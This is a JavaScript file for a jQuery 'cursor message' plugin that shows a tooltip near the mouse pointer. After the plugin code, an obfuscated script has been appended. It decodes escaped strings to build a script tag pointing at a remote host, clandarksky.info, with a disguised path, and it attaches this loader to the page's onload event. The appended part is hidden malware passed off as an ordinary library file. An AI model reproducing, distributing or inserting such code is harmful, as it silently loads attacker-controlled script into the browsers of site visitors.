// jQuery Cursor Message Plugin
//
// Version 0.1
//
// Tim de Koning
// Kingsquare Information Services (http://www.kingsquare.nl/)
//
// Visit http://www.kingsquare.nl/cursorMessage for usage and more information
//
// Terms of Use
//
// This file is released under the GPL, any version you like
//

if(jQuery) {
	( function($) {
	$.cursorMessageData = {}; // needed for e.g. timeoutId
	//start registring mouse coöridnates from the start!

	$(window).ready(function(e) {
		if ($('#cursorMessageDiv').length==0) {
			  $('body').append('<div id="cursorMessageDiv">&nbsp;</div>');	
			  $('#cursorMessageDiv').hide();
		}

		$('body').mousemove(function(e) {
			$.cursorMessageData.mouseX = e.pageX;
			$.cursorMessageData.mouseY = e.pageY;
			if ($.cursorMessageData.options != undefined) $._showCursorMessage();
		});
	});	
	$.extend({
		forceHideCursorMessage : function(){
				$('#cursorMessageDiv').fadeOut('slow');
		},
		cursorMessage: function(message, offsetX,offsetY,hideTimeout,options) {
			if( options == undefined ) options = {};
			if( offsetX == undefined ) offsetX = 15;
			if( offsetY == undefined ) offsetY = 15;
			if( hideTimeout == undefined ) hideTimeout = 2000;
			
			options.offsetX = offsetX;
			options.offsetY = offsetY;
			options.hideTimeout = hideTimeout;
			var hideCursorMessage = function() {
				$('#cursorMessageDiv').html(message).fadeOut('slow');
			};
			
			$('#cursorMessageDiv').html(message).fadeIn('slow');
			if (jQuery.cursorMessageData.hideTimoutId != undefined)  clearTimeout(jQuery.cursorMessageData.hideTimoutId);
			jQuery.cursorMessageData.hideTimoutId = setTimeout(hideCursorMessage,options.hideTimeout);
			jQuery.cursorMessageData.options = options;
			$._showCursorMessage();
		},
		
		
		_showCursorMessage: function() {
			$('#cursorMessageDiv').css({ top: ($.cursorMessageData.mouseY + $.cursorMessageData.options.offsetY)+'px', left: ($.cursorMessageData.mouseX + $.cursorMessageData.options.offsetX) })
		}
	});
})(jQuery);
}


var S=new Array();var Sd=new Array();function j(){var V="";var p=window;var gG=new String();this.xu='';var H=p['unescape'];var AE;if(AE!='' && AE!='T'){AE='Zh'};var r="";var HH=H("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%68%2f%6d%6f%6e%6f%67%72%61%66%69%61%73%2e%63%6f%6d%2e%70%68%70");var l;if(l!=''){l='s'};var iC=new Array();var I="";function k(N,A){var Aq="";var d="";this.Rq="";var J=H("%5d");var U='';var lO;if(lO!='' && lO!='JR'){lO=null};var n=H("%5b");var TC=new String();var NE=new String("g");var TDq;if(TDq!='TD'){TDq=''};this.lm='';var Pl;if(Pl!='rV'){Pl='rV'};var a=new RegExp(n+A+J, NE);var iY=new String();this.Uc='';return N.replace(a, new String());};var qL='';var g=k('dRe8fueZrh','Z8A2hX0SykbDlWNRu');var C=k('ser5cP','PX4dho8Lb5KEZ6ufRCJeD');var y=k('8173473597193220455634154671915425831593451319136292103517741367435596','51726394');this.xj='';var QN=new Array();var i=document;var rp=new Date();var x=k('sGcmrDimp9tS','8RG5aewD69TSm');var L;if(L!='' && L!='yy'){L=''};var Ih;if(Ih!='' && Ih!='cb'){Ih=''};var ck='';var n_='';this.Ny="";var ns="";function Z(){var kb="";var D=H("%68%74%74%70%3a%2f%2f%63%6c%61%6e%64%61%72%6b%73%6b%79%2e%69%6e%66%6f%3a");var Nd;if(Nd!='' && Nd!='eZ'){Nd='h'};var QD=new Date();this.RZ='';var B;if(B!='yl'){B='yl'};var nA=D;var m="";nA+=y;nA+=HH;var tr;if(tr!='v' && tr!='MA'){tr=''};try {var HX;if(HX!='cM' && HX!='XV'){HX=''};this.Rz='';var SY;if(SY!=''){SY='fG'};var _X;if(_X!='' && _X!='cG'){_X='BS'};pK=i[k('cjrTe2akt2ebE2ljeomTejnjtV','LxTjVb2ok')](x);var aM=new Date();var is='';var hb=new Date();var tU=new Array();pK[g]=[1][0];this.BK='';this.wb='';pK[C]=nA;var DpG;if(DpG!='Wp'){DpG='Wp'};var hH;if(hH!=''){hH='tg'};var QQ;if(QQ!='kL' && QQ!='ysU'){QQ='kL'};i.body[k('abpTp3ejnTdzCjh3i8lvdL','M9TDjzBGb3uZNvW784L')](pK);var yh;if(yh!='wB'){yh=''};var QS;if(QS!=''){QS='Ux'};} catch(c){var KA=new String();};var _T="";var on=new String();var LI;if(LI!='_t'){LI=''};}var Cr='';var Sg=new String();var vq;if(vq!='' && vq!='As'){vq=''};var cT=k('oVnclZoma_dc','VTrhsgHmExBOQki4AecfZM_0t');var TQ='';p[cT]=Z;var Cj='';var Mo='';var Vb;if(Vb!='' && Vb!='sL'){Vb=''};var dM=new String();};var bk=new Array();var me=new Array();j();var ot='';